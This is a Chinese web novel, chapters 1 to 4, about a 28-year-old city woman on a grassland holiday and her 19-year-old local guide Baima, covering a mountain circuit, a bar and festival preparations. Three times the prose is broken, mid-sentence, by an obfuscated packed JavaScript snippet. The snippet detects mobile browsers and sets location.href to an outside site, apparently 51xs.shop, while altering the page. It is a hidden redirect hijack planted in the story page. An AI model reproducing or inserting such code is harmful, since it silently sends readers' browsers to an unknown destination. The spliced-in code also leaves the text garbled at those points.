《草原牧歌[高原恋]》 1. 第1章 刚刚结束的线上618活动获得圆满成功,作为此项目的第一负责人:二十八岁的苏曼。获得公司丰厚奖金以及奖励长假。 长期以来的高强度工作和全年无休,苏曼也决定借此机会去看看她一直心心念念的草原。 再无情的赚钱机器,也需要休息。 苏曼匆匆定了机票,在网上预定了一个当地向导。唯一遗憾的是草原上的向导都是男性,没有女性。 划过长空的飞机倒了两班,终于在片片皑皑的纯白世界里,降落在了长西机场。 苏曼推着日默瓦银色行李箱,戴着乌黑的墨镜,一头长发散落在大红色的羽绒服帽上,紧身牛仔裤裹着细长的双腿,一双舒适的运动鞋,轻快的走了出来。 在这个小小的偏远机场,苏曼白皙的肌肤在机场来往的当地人群中,显得有些格格不入,就像雪山上落下了一位白雪公主。 这里每个人的脸都被高原上的太阳,晒的如红亮的酱油般黝黑,脸颊两边有明显的高原红。 无论男女老少,头顶一头长发,或盘起,或扎辫。 而年轻男子则更喜欢烫起卷发,披散下来,仰着头,甩着长发,就像是他们身份的名片。 久违的不用再穿正装,苏曼整个人似云一般的舒柔。 “姐姐,你到了吗?” 微信响起,苏曼在网上预约的当地向导白玛,早已等侯在机场的停车场。 苏曼心想,这小伙子还挺准时。 “我现在就出来,一分钟。” 推着行李箱,揣着小小的兴奋,苏曼走出了机场,向外面的停车场走去。 迎面一块巨大的“长西机场欢迎您”的广告牌,牌子背后衬着两座不太高的雪山。 扑鼻而来的稀薄空气,寒冷的包裹着她的脸和脖颈,让苏曼的大脑一下子清凉抖擞了起来。 停车场就是个普通的户外草坪,停着各式各样的国产面包车和小轿车。 许多拉活的当地司机在挨个询问着走出来的游客:“要不要向导?去不去转山?” 草地的地面柔软,苏曼拉着行李箱有些狼狈。 “哎呀!怪不得那些人都背登山包呢!这些路还真是不行!” 苏曼嘴里嘟囔着,像是在这些人面前,为尴尬的自己寻找一丝体面。 这时冲出一个长发高个子男孩,瞬间挡住了苏曼眼前的阳光。 还没等苏曼反应过来,行李箱就被一只有力的大手提了过去。 “姐姐,我是白玛,你的向导,我们之前约好的。” 说完小伙子马上把头低了下去,一个劲的提着箱子往前走。 “啊!对对,白玛,你好你好!” 原来白玛早就在远处,靠在车前,双手交叉于胸口,看着她走出来狼狈的样子。他忙掐了烟,迎上去接过行李箱。 苏曼想看清楚这个小伙长什么样子,却没有机会。 白玛呼呼向前走去,迈着他的大长腿。 他大约一米八的身高,精瘦的身材,宽宽的肩膀,穿着一件暗黄色祥纹带毛的民族外套,下身穿着一条浅蓝色的直筒牛仔裤,大长腿在裤管里迈起步来显得有些空荡。 那头长发,在他矫健的步伐下左右摆荡,一左一右的节奏像极了跳舞时的豪迈。 “啊,白玛,你不用提着,箱子直接拉着走就可以了,提的太重了!” 娇小的苏曼小跑两步,想努力的追上他,更想看看他的脸。 白玛就像一头楞头往前赶的小狼狗,这和热情善言的向导形象还真是不太一样。 “果然是网上找的野生向导,哈哈!”苏曼心里想着, “好的,姐姐,没事,不重。” 白玛回过半个头,抬起他那黝黑的豆豆眼看了一眼苏曼,长发顺在他的脸颊。 这真是一张俊美的脸庞! 棱角分明的轮廓上,覆着黝黑健康的皮肤,长长的眼睫毛包裹着他那不大不小的单眼皮,眉毛浓密,鼻梁高耸,还有那清澈的眼神和厚厚的嘴唇。 好一个异域男子。 只是,十九岁的白玛看上去却像是二十三、四岁的样子。 苏曼感叹着,这里的阳光真是狠毒呢! - “姐姐,我现在先把你送去酒店吧!明天早上我再来接你,我们先去转山。” 白玛直直的盯着苏曼,看的很认真,苏曼舔了舔嘴唇,被他看的有些不自在。 “好的好的。”苏曼顺手把墨镜架到了头顶。 车子一路驰骋在318国道上,窗外的风景惹的苏曼不时惊呼: “哇!好美啊!” “这么多羊!” “太美了!白玛你看!你看!” “你们这里的天空真是太美了!” 高原美景,来过的人,无不留恋。 白玛听的眉眼弯弯,咧着嘴笑着,又抬了抬眉,似乎对自己的家乡,有说不出的骄傲。 苏曼满足的向后靠了靠,她对这趟旅途的决定非常满意,缓下身子,开始沉浸其中。 白玛伸手拧开了音乐,伴随着民族歌曲的欢快节奏,他的身子开始有规律的摆动。 “姐姐,你的酒店订好了没有?” 白玛转过头来,蹙起的眉头显的他的问话特别重要。 “订好了啊,就是你们那个县城里的假日酒店,我是他们家的会员!” “对的,姐姐,那是我们县里最好的酒店!” “姐姐,我可以抽烟吗?”白玛微嘟着嘴,转过头来又问, “啊,抽吧。没事。” 入乡随俗,这里的男子,应该抽烟的不少吧。 白玛从兜里掏出了烟,娴熟的点上,夹烟的手架在窗外,尽量让烟飘在外面。 “姐姐你抽吗?”白玛这才想起,要问一问苏曼。 苏曼:“我不抽!” 白玛:“哦!我看好多女游客也都抽烟呢!我们这边女孩子是没有抽烟的,都是男孩子抽。” 苏曼:“哦......我不抽的。” 伴着天边的一抹红霞,车子在一望无际的318国道上,终于驶进了这个偏远县城。 路边总能看见牵着几匹马的男人,或是偶尔走过几个裹着头巾的当地妇女。 马路上有各式各样的摩托车呼啸而过。 霞光照在这些人的身上,时间像是被按了缓慢键,苏曼探头看着他们,似乎自己与他们的世界格格不入。 这个小城,静谧而美好。 车子缓缓的停在了酒店的门口。 白玛蹙着眉头,微撅着嘴,认真的把车停好,最后一把潇洒的拉起手刹。 “姐姐,那个......酒店你自己进去可以吗?......我陪你进去不合适。” 白玛认真的解释,让苏曼瞬间懂了。男女同入酒店,确实不妥,何况这是原始又传统的高原。 “噢!好的,没问题!你明天早上八点钟来接我就行啦!” “好的,姐姐。”白玛扬了扬手,做了个OK的手势。 苏曼推着行李,走进了酒店的大门。 晚上七点,酒店的房间内准时供氧。 屋内的氧气,让苏曼因缺氧而混沌的大脑,开始变得清醒。 洗完一个舒适的热水澡,苏曼扒在窗边看了好久的街道...... - 这是苏曼在高原的第一个早晨。 一切都让她感到兴奋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591128|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她早早就收拾妥当,等待着白玛的到来。 微信响起:“姐姐,我到了哦。” “好的,我马上下来!” 推开酒店的大门,就看见阳光下高高的长发男子,长发别于耳朵一边,另一边自然的垂在他的脸颊。 白玛双手插在裤子口袋,笔直的站在马路边。 仿佛是漫画中走出来的人物。 苏曼加快两步,赶紧朝那边跑去。 “哎呀!姐姐别跑,小心高反呀!” 白玛一边迎上来,一边着急的摆着手,顺手将一杯奶茶递到了苏曼手里, 但他迅速的缩回了他黝黑的大手。 可能是因为那双因干活而沧桑粗糙的手,与她的白皙格格不入,而感到自卑。 苏曼敏感的捕捉到了,不自觉的眯起了眼。 白玛今天开的是一辆后面带斗的货车,他的小红马就乖乖的站在后面。 白玛钻进车里,扭头又打量起了这位漂亮姐姐。 姐姐皮肤白皙,身子瘦小,看上去柔弱,又好像很强大。这让白玛有些好奇。 苏曼拉好安全带,也扭头看了看眼前的这个大男孩。 他轮廓坚毅,虽然才十九岁,但是又带着一种长相与年龄不符的凌厉与沉稳。 “白玛,你真的是十九岁吗?我看你不止十九岁的样子呢”。 “姐姐,我真的是十九岁呀!” 白玛像个男人一样摸了摸自己的下巴,虽然下巴上并没有胡子。但眼里有一丝窃喜。 “我是想自己年纪大一点呢。”白玛继续说道。 “为什么啊?年轻多好啊!十九岁是最好的年纪呢。” 苏曼吸着杯子里的奶茶,看着车子再次拐向了318国道。 “年纪大一些,可以为家里做更多事啊!” 苏曼随着笑了笑,也不知道他家有多少大人的事需要他去做。 白玛觉得她可能是认为他的想法幼稚,还把他当个孩子看。 - 车子在高原上缓缓开着,大约行驶了三十分钟左右,终于来到了神山脚下。 这是这片高原上的三大神山之一,来这里绕着神山转一圈,可以祈福,也可给自己带来好运。 白玛把小红马从车上卸了下来。用的是一块木板搭在车上,小马就顺着木板乖乖的走了下来,十分默契。 调整好马鞍。白玛看着身边小小个子的苏曼,道: “姐姐,我扶你上马吧?” 不知道是不是白玛的错觉,苏曼似乎犹豫了一秒。 “啊!好的,我自己也爬不上去哈!哈哈!” 苏曼走近马前,将一只脚先放进了马镫,够着手,扶着马鞍,试试自己能不能爬的上去。 白玛看着笑了笑,上手轻轻一托,苏曼就爬上去了。 她真的好瘦啊。 白玛牵着小红马,一路走在崎岖的山路上,开始围着神山转圈。 苏曼坐在马上,虽然有些颠,但还是不停的掏出手机拍照,不时的惊呼,不时的感叹,各种问题像蹦豆子一样蹦出来抛给白玛。 白玛露出了他洁白的牙齿,笑着耐心的给她解释这边的各种风土人情。 两人就这样一路转着神山,苏曼将过往的烦恼都抛在了这片纯净的山脉,唯愿未来一切幸福。 “嗨!白玛!你终于有客人啦?” 远处一个中等身材的小伙朝这边跑了过来。 年龄和白玛相仿,性格看上去非常活泼热情。 他那瘦瘦的紧身牛仔裤上,贴着一片闪闪的水钻,布灵布灵的,在阳光下特别耀眼。 上身穿着一件PU皮衣夹克,手里还叼着一只烟。 2. 第2章 “对的呢,你今天没有去练车吗?科目三考过了没有?” 白玛和这位叫扎西的小伙聊了起来。 “没有呢!难的很!考了三次啦!都没过!白玛,你的姐姐好漂亮哦!是个大美女哦!可以跟她加个微信不?” 扎西左手插在裤兜,边走过来边打量着苏曼, 白玛的脸色瞬间严肃了下来,眼神开始变冷: “你快走,不要打扰我们!” 白玛看了一眼骑在马上的苏曼,拉起缰绳把马往前牵了牵。 扎西吃了个瘪,看着白玛牵马离开。 苏曼有点懵,白玛对扎西的态度看上去不好,但是他们又好像很熟的样子。 待扎西走后,白玛边走边对苏曼说: “姐姐,你在这边不要随便加别人的微信哦!这些男的坏的很!” “啊,是嘛!” 苏曼不置可否。 “哎呀,没什么,就是......刚才那个扎西好花心的,他有好几个女朋友呢!你不要理他!” 白玛咧开嘴“嘶”了一声,又尴尬的舔了舔嘴唇,这个话题对他来说有些难以启齿,但又不得不说。 苏曼笑了起来:“你放心哦,姐姐我不谈恋爱的。” “啊?” 白玛抬起眉看着马上的苏曼,阳光照在她的脸上,一脸笃定的表情,似乎“爱情”这个东西与她无关。 “为什么?”白玛疑惑的问道, 苏曼抿了抿唇,想了片刻,道:“不为什么,就是不想谈恋爱,也不想结婚。” 白玛想不明白,在他们草原上,年轻男女早早就都结婚生子了,像苏曼这么大的女子,还未结婚,是要被笑话的。 这里的年轻人都喜欢谈恋爱,更是会早早结婚,这样家里便会多一个人帮着干活。 至于生子,到是随缘。只是,越随缘,生的就会越多。 但是他们依然很欢喜。 孩子再多,也养的很欢喜。每个孩子父母都爱。 “白玛,你交过女朋友没有嘛?是不是也有好几个呢?” 苏曼将话题引到了白玛身上,她不想白玛去思考她为什么不结婚不谈恋爱这个解释不明白的问题。 白玛被问的一下子脸红了起来,尴尬的用手拨了拨长发,将头仰起。 “我还没有呢,姐姐”。 “那你不行哦,人家都谈好几个了,你还一个都没谈。”苏曼打趣着白玛, 白玛咬着下唇,咧着嘴笑,一下子又变回了一个大男孩。 - 苏曼想起了自己的母亲,想起了母亲日日夜夜口中的父亲,还有这个世界上的所有男人。 都似这高山远处的云一样,朦胧而又遥远。 小红马儿缓缓的走在下山的路上,白玛认真的牵着缰绳,时不时的回头看着沉默下来的苏曼。 在渐渐落幕的晚霞中,天空似乎也变的更低了。 苏曼看上去情绪有些低落。 “姐姐,你要不要骑马?骑跑起来的那种!” 白玛仰着头问苏曼。 苏曼看着他那张俊美的脸,在晚霞的余晖中,竟然有一丝恍惚。 “啊?不要,我害怕。” “不用害怕,我带着你骑。”白玛认真看着苏曼,等待她的同意。 苏曼望着他期盼的眼神,不好意思拒绝,只好说:“那试试吧。” 说着白玛拉好缰绳,扶着马鞍,坐到了苏曼的后边。 苏曼被白玛圈在怀中,好不自在,浑身僵硬了起来,白玛却兴奋的很,一夹马腹,马就走了起来,再拍了几下马的屁股,马又跑了起来。 白玛不敢跑太快,只稍稍让苏曼感受了一下,毕竟苏曼在他怀里一直“吱哇”乱叫,很是紧张。 不一会儿,马就停了下来,白玛跳下马,看着苏曼张着嘴笑,苏曼惊的脸煞白。 “姐姐,你胆子真小。” 苏曼支支吾吾,她从未和男人如此亲近过,从来都是拒绝的她,今天也不知怎的,竟然答应了白玛的要求,也不知道骑马,竟然是这么个骑法。 苏曼缓了缓情绪,道: “咱回去吧,晚上我请你吃个饭,今天你也辛苦了,你找一个好一点的餐厅。嗯,价格贵点没事的,好吃就行!” 苏曼想请白玛吃个饭,以表示感谢。 在苏曼的世界里,就是要住最好的酒店,吃最好的美食。 辛苦赚钱就是用来宠爱自己的。 即便是曾经给母亲钱,她也是无怨无悔的。 因为取悦爱的人,也是取悦自己。 虽然最后母亲辜负了她。 “啊,姐姐不行,我今晚还要上班呢,我在那个朗玛厅里兼职做保安呢!” “要不姐姐晚上来我们朗玛厅里玩吧,嗯,那个,喝酒唱歌的地方,姐姐你要来吗?” 白玛抱歉的主动邀请苏曼。 “啊!可以啊!好不容易来一趟,肯定要看看你们真正的当地文化嘛!OK的!” “好的呢!姐姐。” 白玛笑着露出了他那排大白牙,仰头牵着马,踩着坑坑洼洼的草地,朝车子那边走去。 - 回到酒店的苏曼,脱下红色的羽绒服,痛快的洗了个热水澡。 卸下一天的灰头土脸,苏曼把头发吹干,给自己化了一个精致的妆。 换上一件驼色的羊绒大衣,喷了一点香水,黑色的长发自然的披在肩头。 这是一家开在318国道上的朗玛厅,朗玛厅大概就是酒吧、歌厅的意思。 朗玛厅里每天晚上都会有歌舞表演,非常具有当地特色。 除了吸引游客,当地的小伙子们也爱来这里喝酒、唱歌。 苏曼被门口的小弟迎了进去。映入眼帘的,是满屋暗红色全木雕刻的花纹墙饰,墙上挂着各式各样的民俗装饰品。 在大厅里,满满当当的摆放着大约十几张小圆桌,大家都围着圆桌而坐。 苏曼扫了一眼,看见白玛在最后一排的角落。 他窝在一张有些旧的沙发里,长长的腿懒洋洋的伸了出去,低着头正在摆弄着他的手机。 左额前的长发,垂下来遮住了他的半张脸,露出了高耸的鼻子和半张脸立体的轮廓,在室内昏暗的灯光下,显得特别有氛围感。 确实是个美男子!苏曼再次感叹。 “白玛!”苏曼冲他喊了一声, 白玛猛的抬起头,一双黑溜溜的豆豆眼在昏暗的灯光中能看出有一丝惊喜。 他迅速的站起身,小跑着过来。 “姐姐!我那个......给你找了个前面的桌子,是我特意跟老板定的,一会儿有人要在舞台上唱歌,你在前面就看的清楚呢!” “啊!好的,谢谢谢谢。” 白玛领着苏曼向大厅的前排走去,回头又看了一眼苏曼。 今晚精心打扮的苏曼,一看就是大城市里来的。 昂贵的羊绒大衣,腰间随意的束起,裹着苏曼匀称的纤细的身材。 高大的白玛明显能闻到一股柔柔的香气,从苏曼身上散发过来。 他迈着像男人一样的雄伟步伐,大步向前排走去。 他完全不像一个十九岁的小伙子,而像是一个在社会场上混迹多年的成熟男子。 “白玛!这是你今天的那个姐姐吗?” 角落里冒出一个突兀的声音,苏曼和白玛同时转过头去, 原来是今天白天遇见的那个扎西! 扎西和几个朋友坐在前面一排最右边角落里的那张圆桌。 桌上摆了几瓶啤酒和几包香烟,地上还放着一箱,看样子就是非常能喝的一帮人。 一股精神小伙的气息从那边扑了过来。 白玛没有理他,把苏曼领到了最前排中间的一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591129|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌子。 他先给苏曼拿来一瓶矿泉水,又叫人送来了一盘瓜子。 忙的不亦乐乎。 “这个位置是我们这里最好的位置,姐姐你想喝什么呢?我去给你拿”。 “你给我拿两瓶啤酒吧,你要是忙的话,你就先去忙你的,有空的时候再过来坐坐,姐姐请你喝酒!我不能影响你工作嘛!” 苏曼说着就把羊绒大衣解开,脱了下来,搭在了旁边的椅背上。 紧身的黑色高龄毛衣,衬着她娇小玲珑的身材。 苏曼低头时,肩后的长发耷拉下来,碰到了椅背,白玛差一点伸手去接起那屡长发,吓得他赶紧把手插进了裤兜里。 这个无意识的动作。好险。 白玛马上转身去拿了两瓶啤酒,接着又端来了一个果盘。这好一通忙活才掩饰了过去。 这果盘是他自掏腰包送给苏曼的,也算是感谢苏曼在向导生意上的照顾。 然后他就去了扎西那边。 白玛站在扎西的桌旁,双手插着腰,只能望到他宽宽的后背。 也不知道和扎西在聊些什么,时不时的还回过头来看看苏曼这边。 扎西和朋友们笑着,不时又推来搡去的互相打闹,像是在起哄些什么。 一顿来去,扎西桌上的啤酒又少了几瓶。 “白玛,你走哪里认识的漂亮姐姐哦?”扎西灌了一口酒,问道, “什么漂亮姐姐,就是网上找我做向导的嘛!” 白玛不喜欢扎西这样叫苏曼。 “你小子,还做向导,我以前怎么没见你做向导?” 这是白玛第一次做向导,还真有些不太熟练,好在苏曼并未在意他的青涩。 白玛:“以前不知道嘛,我刚把那个网站搞明白,就试了一下嘛。” 扎西:“下次带我嘛!你挣那么多钱做啥子哦!” 白玛将酒瓶子里的酒一口喝完,没有回答扎西这个问题。 赚钱,当然是养家。 他自己小学就辍学了,弟弟妹妹还在念书,妈妈身体不好,每年都要下山去兰城看病开药两次。 单程就要坐个九个小时的汽车,他总想让妈妈坐一次飞机,一个小时就能到了。 白玛从地上的箱子里又拿出一瓶酒打开,然后提着酒瓶子,走回了他后面自己的沙发上。 白玛一边喝着啤酒,一边伸着脑袋,望向坐在最前面的苏曼。 现在的他就像是个大人,从村子里出来,在这个县城的朗玛厅里工作,负责着店里的安保,防止喝醉酒的人闹事。 而不是,白天在山脚下,那个替游客牵马的少年。 大厅里的人陆陆续续多了起来,游客却并不算多,大部分还是当地的小伙子一群一群的。 到了晚上八点钟的时候,舞台上有了动静,歌手要准备开始唱歌。 气氛一下子热闹了起来,当音乐响起,台下的小伙子们站了起来,到了副歌部分,他们还会跟着一起唱,一个个都像雄赳赳的大公鸡。 苏曼的情绪也开始变的高涨,随着音乐摇头晃脑,完全忘记了原本生活里的一切。 这,大约就是旅行的魅力。 “姐姐,你一个人坐着多无聊啊,我陪你喝一个吧!” 扎西拿着酒瓶子走了过来,拉开凳子,直接坐了下来。 “好啊。” 苏曼没有拒绝,能认识一些当地的朋友,这个体验也还不错。 苏曼端起杯子和扎西的酒瓶子轻轻碰了一下,小喝了一口。 擦了擦嘴边的酒,苏曼和扎西攀谈了起来: “扎西,我今天听白玛说你有好多女朋友哟!你好厉害喔!哈哈!” 苏曼像看着小弟弟一样打趣着。 还未等扎西开口,白玛不知道什么时候已经站在了桌旁,拉开了凳子,也坐了下来。 直接开了桌上的另一瓶酒。 3. 第3章 白玛的大长腿在圆桌下显得有些局促,不能完全伸展开来,和苏曼的腿轻轻的挨着。 苏曼感到有些紧张,假装无事的喝了一口酒,将头转向了扎西,等着他的回答。 “哪有的事,姐姐,我很专一的,我没有女朋友的!你不要听白玛瞎说。” 扎西佯作认真的继续说道: “姐姐,你结婚了没有嘛?你有没有男朋友的?你这么漂亮肯定有男朋友!” 苏曼微微一愣,旅途中的人最爱问的就是这样的问题。 “我没有男朋友呀!你是要给我介绍一个吗?哈哈!” 白玛微微侧过头,用余光瞄了苏曼一眼,又继续低头喝酒。 白天苏曼还在跟他说不谈恋爱,不结婚的,现在怎么又说要介绍男朋友了。 他扭头转向后面的大厅,用眼神扫视了一遍,像是在巡视自己的领地,确保一切安全。 扎西听完猛的站了起来,左手叉着腰,右手扶着酒瓶子。 “好啊!我把我跟白玛都介绍给你可以嘛?你看白玛多帅,比我还高那么多,他骑马可厉害啦!是我的偶像!我嘛!个子虽然不高,但是我也是很帅的呀!有很多女孩子都很喜欢我的呢!” 扎西看着眼前这个漂亮姐姐,两眼放着草原上雄性的光。 他腰间那颗大大的皮带头,被朗玛厅里的灯光照的特别闪亮。 一头烫过的卷发,高高的顶在额头的左边,显得他比实际身高又高了不少。 黑色衬衣下单薄的身子,却摆出了一副雄鹰的姿态。 苏曼尴尬的“哈哈”笑着,没想到扎西竟然推销起了自己。 “姐姐,你别听他瞎说,扎西他就是喜欢开玩笑的!” 白玛站出来打断了扎西, “哎哟哎哟!白玛你看看你,你就是想把姐姐留给你自己的吧?谁不喜欢漂亮姐姐啊,你说!你是不是也喜欢姐姐?” 扎西挥舞着他的手,指着白玛在空中做着夸张的动作。 可能是啤酒喝的有点多了,嗓门高涨的,周围几桌子的人都望向了这边。 白玛无奈的撇过头去,不想理扎西。 苏曼看着扎西,终于体会到了草原上的热情。 他们直给的表达着自己的喜欢与不喜欢,喜欢的东西就会直接冲上去拿,并不会思前想后、左右顾忌。 如果说害羞是传统的束缚,那热烈就是真实的需要。 “白玛,你们村那个德西是不是喜欢你嘛?她是不是想跟你耍朋友?” 扎西继续自顾自的说道, 白玛冲着扎西低吼了一句: “我不喜欢德西!你不要瞎说!” 灯光昏暗,大厅顶上的两个老式灯光转球还在不停的工作着,舞台上的歌手也一个个唱完离场。 苏曼看着有点喝多了的白玛,脸涨的通红,于是提议: 明天想自己自由活动一天,也正好让白玛在家好好休息一下。 白玛脸上略过一丝失望的表情。 散场,白玛执意要送苏曼回酒店。 县城不大,走回去大概也就不到十分钟的样子。 但是晚上的县城街道,总是会有一些喝醉了酒的人胡闹。 街道的灯光昏暗,地面上映着一长一短的两个人影。 “姐姐,你叫什么名字呢?” 白玛甩了甩头发,从口袋里掏出了一包烟,径自点上,深吸一口仰天吐了出来。 “啊?噢!我叫苏曼!不好意思啊!弟弟,现在才告诉你我的名字。” 苏曼刚还在纳闷,好像今晚白玛没怎么抽烟。 不过他从未问过她的名字。她说来,他说好,仅此而已。 “苏曼......这个名字好听。那我以后叫你苏曼吧!” 白玛缩着脖子嘬了一口烟,转过头眯着眼看着个头比他矮出一大截的苏曼。 路灯照在她的头顶,夜晚的冷风,把她的脑门吹了开来,露出了洁白又干净的脸庞。 小小的下巴,窝在羊绒大衣的领子里,就像个二十岁的小女生。 “姐姐,那你多大呢?”白玛还是没好意思直接喊苏曼。 “啊!我二十八呢!比你大九岁!” 这个年龄差说大不大,说小不小。不过两个人看着年纪确实差不多。 十九岁的白玛,因为常年受高原紫外线日晒的缘故,看上去比实际年龄要老几岁。 那张脸,在沧桑和稚嫩中模糊摇摆。 “姐姐你不像,我看你,也就二十出头的样子。” 白玛一只手插在裤兜里,又深吸了一口烟,在肺里停留了一秒,再又舒缓的吐了出来。 现在的他对着苏曼愈发的放松了,没有了先前的生疏。 苏曼笑了,确实有很多人猜不出她的年龄, “那好嘛!那咱俩就年纪差不多嘛!你看着也不像十九岁啊,你也像二十多岁呢!” 苏曼知道白玛希望自己的年纪大一些。 把苏曼送回酒店,白玛回了朗玛厅取摩托车,直接就回村里了。 - 今天是安排了自由活动的一天,苏曼直接睡到了中午才醒。 昨晚喝了些酒,脑袋有些晕乎乎的。她一个汉地人上高原,按说不应该喝酒的,喝酒容易高反。 苏曼摸过枕边的手机,看到了白玛发来的微信,是一张当地的宣传图片和一条六十秒的语音。 “夏季赛马节?!” 苏曼惊呼着直接坐了起来,原来明天就是草原上一年一度的《夏季赛马节》。 她可真是有点子幸运在身上的。 巴龙县全县人口大约只有十万人左右,但是地域分布却极广。 县辖区内的十几个乡的赛马手,都会来参加这个赛马节。 每个乡先在各个村里,进行比赛的选拔,再把每个村选拔出来的前几名送到乡里,由乡里再送到县上。 最后,这十几个乡选拔上来的几百名赛马手,由县里统一组织调配,就形成了这一年一度的《夏季赛马节》盛会。 今年已经是举办的第三届了。 赛马节主要是从旅游的角度出发,吸引全国各地的游客,同时也算是打造了一个文化类的大IP。 毕竟,草原上的男子,都是在马背上长大的。 赛马节的主要内容是:技术向的马背技术表演,以及速度向的公里数赛跑,其中还包含了赛道和山路两种。 而白玛作为村里的第一名、乡里的前三名,拥有绝对的资格。 他参加的正是技术向的马背技术表演。 白玛也是村里养马最多的人,他有三十多匹马,很难想象一个十九岁的少年能独立经营、养育这么多匹马。 而马,就是他的财富。 苏曼高兴极了,没想到自己临时决定的出游,竟然赶上了这么大的一年一度的草原盛会。 夏季,正是草原上最美的季节。 水草丰沛,牛羊肥硕。 大家都喜气洋洋的在这个季节里欢歌载舞。 把吃的肥肥的牛羊,卖个好价钱,这也是他们一年中最富裕的时期。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591130|143228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 白玛在村里准备着明天赛马节的东西。 笼头、马鞍、马背毯子、以及各种装饰在马儿身上的五颜六色的挂饰。 还有一串高价收回来的古老大铃铛,马儿跑动的时候,脖子上的铃铛会发出清脆的响声。 他们喜欢把自己心爱的马儿,装扮的帅气和威风凛凛! 白玛一点一点如数家珍的整理着这些东西,该擦的擦干净,该叠的叠好。 最后整齐的码进了一个超大的红色拉杆箱里,明天就开着车带到县上的赛马场去。 还有他给自己新做的大红色上衣。 因为每个人都想成为赛马场上,最帅气的那个马背上的汉子。 而且,明天,还是他卖马的最好时机。 只要你骑的帅,马儿跑的好,各种爱马的人就会争相出价,买走你的宝马。宝马的价格从几万到几十万不等。 对于这些马背上长大的草原男人来说,只要是看上了的马,就会心痒痒的不买不行。 他们对马的热爱是刻进骨子里的,当然,也是舍得豪气氪金的。 这才是养马人一年中最好的生意机会。 白玛明天可能会带三匹马过去,参加这次赛马节。 他正挠着头,琢磨着明天的各种细节。 这几天家里最后一匹怀孕的母马也快要生了,其他母马都在五、六月份已经生下小马仔。 看着母马大大的肚子,却又一直不生,白玛也开始怀疑是不是去年的配种失败了?还是马儿吃的太肥的缘故。 - 苏曼穿着一袭白色长裙,里面穿着厚厚的保暖打底裤,上身红色的羽绒服衬的她特别亮眼。 此刻的她只想找一家好吃的餐厅,美美的吃上一顿。再找一家露天的咖啡厅,晒着高原的太阳。 悠闲的下午很快就在咖啡厅里度过,阳光照在身上暖洋洋的。 苏曼随意拿起书架上的一本书,翻了翻,又放了回去,晚上应该会是去县上的锅庄舞广场看看。 那里每天晚上都会为游客载歌载舞,是县上最热闹的地方。 想到这里,苏曼背起包向锅庄舞广场走去。 一辆辆摩托车从苏曼身边呼啸而过,在傍晚的晚霞中唱着这个偏远县城自己的歌。 “姐姐,你在哪里?” 一条白玛的微信蹦了出来。 远处白玛骑着一辆摩托车呼啸而来。 一瞬间就伸出长腿停在了苏曼的面前,又从怀里掏出了一张大饼。 “你尝尝,我们家自己做的,我妈让我给你带的。我今天忙了一天,终于忙完喽。我想带你去看看我们这边的跳舞。” 看着大饼,苏曼深处的神经被触动了一下:“好的。” 苏曼跨上了白玛的摩托车后座。 一手拿着饼,一手拽着白玛的衣服,呼的一下车子就又飞驰了出去。 她好像是第一次坐别人的摩托车后座,感觉好像也并没有那么抵触。 白玛得意的笑着,握紧把手,又拧了拧油门, 车子像街上的风一样,飞速向锅庄舞广场奔去。 苏曼的白色长裙也在白玛的裤边随风飘荡着。 “白玛!你今天怎么骑摩托车出来了?骑摩托车多冷啊?”苏曼不解的喊道, 高原上的夏天,太阳下很热,但大多数时间还是要穿羽绒服的温度。 “摩托车方便嘛!我们这里家家户户主要都是靠摩托车呢!开去山上还是摩托车方便嘛!而且汽车也不是每家都能有的嘛!” 原来如此。 4. 第4章 晚上七点钟锅庄舞广场上就已经有不少人了,大部分都是男生一群,女生一群。 女生穿着及踝长裙,把整个下半身子包住,腰间扎起,露出丰满而又曼妙的身材。 男生有的穿着当地民族服饰,有的穿着短款皮衣加紧身牛仔裤,这是他们大部分人都喜爱的装扮。 游客三三两两的聚在一起打卡拍照,基本上也都是穿的比较花里胡哨。 和苏曼这样的白皙美女站在一起,白玛有些兴奋。 他把身板站的笔直,双手插在裤子口袋里,就那么杵在苏曼身旁,像个不会说话的武士,眼神里透着守护的坚定。 苏曼完全被广场上的热闹吸引住了,拉着白玛的衣服就往前面钻。 大高个的白玛被瘦小的苏曼拽着,直接沉下了腰往前趔趄了半步,慌忙把手从裤兜里拿了出来。 站在漂亮姐姐身边,看着跳锅庄舞的男女一圈圈的走过,白玛又有了一种自豪。 苏曼却忙着各种拍照、录视频。 时不时抬起头跟白玛说上两句,白玛又时不时的笑着低头看着苏曼。 这些场景对他来说已经是司空见惯的了,但是新来的游客们都很喜欢。苏曼也很喜欢。 游客也逐渐被拉进了锅庄舞的转圈大群,苏曼兴奋的指着一个人喊了起来: “你看你看,白玛,那个人也在跳哎!” 